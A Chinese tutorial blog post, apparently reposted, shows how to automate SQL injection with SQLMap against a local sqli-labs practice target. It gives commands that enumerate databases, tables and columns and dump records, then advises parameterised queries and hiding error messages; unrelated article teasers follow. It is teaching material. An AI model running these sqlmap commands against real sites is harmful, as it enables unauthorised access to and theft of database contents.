SQL进阶理论篇(二十一):基于SQLMap的自动化SQL注入

news2024/9/29 1:23:44

文章目录

  • 简介
  • 获取当前数据库和用户信息
  • 获取MySQL中的所有数据库名称
  • 查询wucai数据库中的所有数据表
  • 查看heros数据表中的所有字段
  • 查询heros表中的英雄信息
  • 总结
  • 参考文献

简介

从上一小节,可以发现,如果我们编写的代码存在着SQL注入的漏洞,后果还是很可怕的,只需要通过访问information_schema表就可以将数据库的信息全部暴露出来。

接下来我们了解下SQLMap工具,它可以帮我们自动化完成SQL注入的过程。让我们使用SQLmap工具,再重现一下上一节做的人工注入的步骤。

获取当前数据库和用户信息

执行以下命令:

python sqlmap.py -u "http://localhost/sqli-labs-master/Less-1/?id=1" --current-db --current-user

--current-db表示获取当前数据库名称;

--current-user表示获取当前用户的信息

然后你可以看到SQLmap帮我们获取了相应的结果:

在这里插入图片描述

获取MySQL中的所有数据库名称

执行:

python sqlmap.py -u "http://localhost/sqli-labs-master/Less-1/?id=1" --threads=5 --dbs

这里我们使用--threads来指定SQLmap的最大并发数,通常不要超过10。

于是它帮我们获取了当前MySQL中的8个数据库名称:

在这里插入图片描述

查询wucai数据库中的所有数据表

执行:

python sqlmap.py -u "http://localhost/sqli-labs-master/Less-1/?id=1" --threads=5 -D wucai --tables

-D表示待查询的数据库的库名;

--tables表示显示出所有数据表名称;

在这里插入图片描述

查看heros数据表中的所有字段

执行:

python sqlmap.py -u "http://localhost/sqli-labs-master/Less-1/?id=1" --threads=5 -D wucai -T heros --columns

-T表示指定的数据表名称;

--columns表示对所有字段名称进行查询;

在这里插入图片描述

查询heros表中的英雄信息

执行:

python sqlmap.py -u "http://localhost/sqli-labs-master/Less-1/?id=1" -D wucai -T heros -C id,name,hp_max --dump

-C后面表示需要查询的字段名;

--dump表示展示具体数据。

在这里插入图片描述

至此,整个数据库对我们来说,就是不设防的状态了。

总结

总之,代码规范性对web安全来讲,非常重要,尽量不要采用直接拼接的方式进行查询,一定要拼接的话,必须在后端提前做好参数验证(如java的sqlparameter),不能因为在前端验证完参数就认为安全了,前端的验证是很容易被绕过的。

同时,web上线之后,还需要将生产环境中的错误提示信息关闭,坚决不能给不法分子可乘之机,以减少被SQL 注入的风险。

此外,我们也可以采用第三方的工具,比如SQLmap来对web应用进行检测,以增强web安全性。

当然,本节讲的内容都很基础,现在真正的SQL注入攻防,可比本节展示的内容复杂多了。

参考文献

  1. 37丨SQL注入:你的SQL是如何被注入的?

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1333780.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

HarmonyOS的装饰器之BuilderParam 理解

BuilderParam 装饰器 使用时间:当定义了一个子组件,并且子组件的build()中有一个布局在不同的父组件,实现效果不一样的时候,可以在子组件中用这个BuilderParam装饰器, 在父组件用Builder 装饰器进行实现,然…

Lua的垃圾回收机制详解

Lua 是一种轻量级的编程语言,广泛用于嵌入到其他应用程序中,尤其是在游戏开发领域。Lua 的内存管理机制采用了自动垃圾收集(Garbage Collection)的方法。以下是Lua内存管理的一些关键方面: 垃圾收集原理概述 Lua 使用…

我的软考之路

缘起 2016年,入职了一家业务相对稳定的公司。技术栈的切换使得刚入职的时光格外忙碌。然而当所有工作所需技术逐步掌握并渐渐精通,摸鱼的时间也相对多了起来。 这样的日子一多,危机感开始蔓延,毕竟35是谁都绕不过的一道坎。程序猿…

SQL实践篇(一):使用WebSQL在H5中存储一个本地数据库

文章目录 简介本地存储都有哪些?如何使用WebSQL打开数据库事务操作SQL执行 在浏览器端做一个英雄的查询页面如何删除本地存储参考文献 简介 WebSQL是一种操作本地数据库的网页API接口,通过它,我们可以操作客户端的本地存储。 WebSQL曾经是H…

【C++练级之路】【Lv.5】动态内存管理(都2023年了,不会有人还不知道new吧?)

目录 一、C/C内存分布二、new和delete的使用方式2.1 C语言内存管理2.2 C内存管理2.2.1 new和delete操作内置类型2.2.2 new和delete操作自定义类型 三、new和delete的底层原理3.1 operator new与operator delete函数3.2 原理总结3.2.1 内置类型3.2.2 自定义类型 四、定位new表达…

OpenAI开发者大会简介

文章目录 GPT-4 Turbo 昨天晚上 OpenAI的首届开发者大会召开 Sam Altman也做了公开演讲,应该说 这是继今年春天发布GPT-4之后 OpenAI在AI行业又创造的一个不眠夜 过去一年 ChatGPT绝对是整个科技领域最热的词汇 OpenAI 也依靠ChatGPT取得了惊人的成绩 ChatG…

模拟生物自然进化的基因遗传算法

基因遗传算法(Genetic Algorithm,GA)是一种通过模拟生物进化过程来寻找最优解的优化算法。它是一种常见的启发式搜索算法,常用于优化、搜索和机器学习等领域。 生物基因遗传 生物的基因遗传是指父母通过基因传递给子代的过程。基因…

基于STM32的DS1302实时时钟模块应用及原理介绍

在嵌入式系统中,实时时钟模块是一个常见的功能模块,用于记录和管理系统的时间信息。DS1302是一款低功耗、具有多种功能的实时时钟芯片,被广泛应用于各种电子产品中。本文将介绍基于STM32微控制器的DS1302实时时钟模块的应用及原理&#xff0c…

C++类的继承

目录 什么是继承? 父类与子类对象的赋值转换 继承中的作用域问题 子类的默认成员函数问题 如何使一个类不能被继承? 父类的友元和静态成员变量 多重继承与菱形继承 继承和组合 什么是继承? 继承 (inheritance) 机制是面向对象程序设…

基于FPGA的图像Robert变换实现,包括tb测试文件和MATLAB辅助验证

目录 1.算法运行效果图预览 2.算法运行软件版本 3.部分核心程序 4.算法理论概述 5.算法完整程序工程 1.算法运行效果图预览 fpga的结果导入到matlab显示: 2.算法运行软件版本 vivado2019.2 matlab2022a 3.部分核心程序 ..................................…

obsidian使用分享

ob对比其他软件 上文提到obsidian,这里对obsidian做一个简要的总结 优点:对比notion,语雀这些软件,内容存储在应用商的服务器上。它是存在本地的。 对比思源笔记。说一下思源笔记的不足。思源是块来控制的,回车就是一…

基于Arduino和HC-SR04的超声波测距系统设计

本文介绍了如何使用Arduino和HC-SR04超声波传感器设计并构建一个简单的超声波测距系统。我们将详细讨论硬件连线和编程步骤,并提供完整的Arduino代码。此系统可以应用于各种需要测量距离的项目,例如智能车辆、机器人和安防系统。 引言: 超声…

【Python】pip管理Python包

命令&#xff1a;pip install <包名> 安装指定的包。 pip install ipython #或者 pip install ipython -i https://mirrors.aliyun.com/pypi/simple/ 命令&#xff1a;pip uninstall <包名> 删除指定的包。 pip uninstall ipython 命令&#xff1a;pip list 显…

XxIJob入门-示例

一、部署 xxlJob (一) 下载地址&#xff0c; git clone 到本地。 http://gitee.com/xuxueli0323/xxl-job https://github.com/xuxueli/xxl-job (二) 插入 xxl_job 的sql脚本&#xff1a; 在项目的 /xxl-job/doc/db/tables_xxl_job.sql &#xff0c;找到sql脚本&#xff0c…

使用ACL与prefix-list匹配路由 distribute-list过滤路由

一、实验拓扑 二、实验目的 熟练掌握ACL和prefix-list在ospf匹配路由的应用 三、实验配置 第一步&#xff1a;配置全局基本ip地址 R1 Ruijie(config)#hostname R1 Ruijie(config)#hostname R1 R1(config)#interface gigabitEthernet 0/0 R1(config-if-GigabitEthernet 0/0)#n…

nodejs微信小程序+python+PHP的4s店客户管理系统-计算机毕业设计推荐

目 录 摘 要 I ABSTRACT II 目 录 II 第1章 绪论 1 1.1背景及意义 1 1.2 国内外研究概况 1 1.3 研究的内容 1 第2章 相关技术 3 2.1 nodejs简介 4 2.2 express框架介绍 6 2.4 MySQL数据库 4 第3章 系统分析 5 3.1 需求分析 5 3.2 系统可行性分析 5 3.2.1技术可行性&#xff1a;…

反注入技术:防范非法 Call 调用的探讨

DLL 注入是一种常见的技术&#xff0c;用于向目标进程注入外部的动态链接库&#xff08;DLL&#xff09;&#xff0c;以执行某些特定的操作。这种技术在恶意软件、游戏作弊等场景中被广泛使用&#xff0c;因此&#xff0c;研究和实施一些反注入技术对于提高应用程序的安全性是至…

案例136:基于微信小程序的公交信息在线查询系统

文末获取源码 开发语言&#xff1a;Java 框架&#xff1a;SSM JDK版本&#xff1a;JDK1.8 数据库&#xff1a;mysql 5.7 开发软件&#xff1a;eclipse/myeclipse/idea Maven包&#xff1a;Maven3.5.4 小程序框架&#xff1a;uniapp 小程序开发软件&#xff1a;HBuilder X 小程序…

JS常用事件大全

事件 事件通常与函数配合使用&#xff0c;这样就可以通过发生的事件来驱动函数执行。 注意&#xff1a;事件名称大小写敏感。若是事件监听方式&#xff0c;则在事件名的前面取消on。 1. 鼠标事件 给btn按钮添加点击事件&#xff0c;点击弹出 你好&#xff01; 2. 键盘事件…

【Hadoop】Zookeeper架构/特点

Zookeeper 中的角色主要有以下三类&#xff1a; Zookeeper需要保证高可用性和强一致性为了支持更多的客户端&#xff0c;需要增加更多Server&#xff0c;但是Server增多&#xff0c;意味着投票阶段延迟增大&#xff0c;会影响整个系统的性能。所以在3.3.0中ZK引入的新角色&…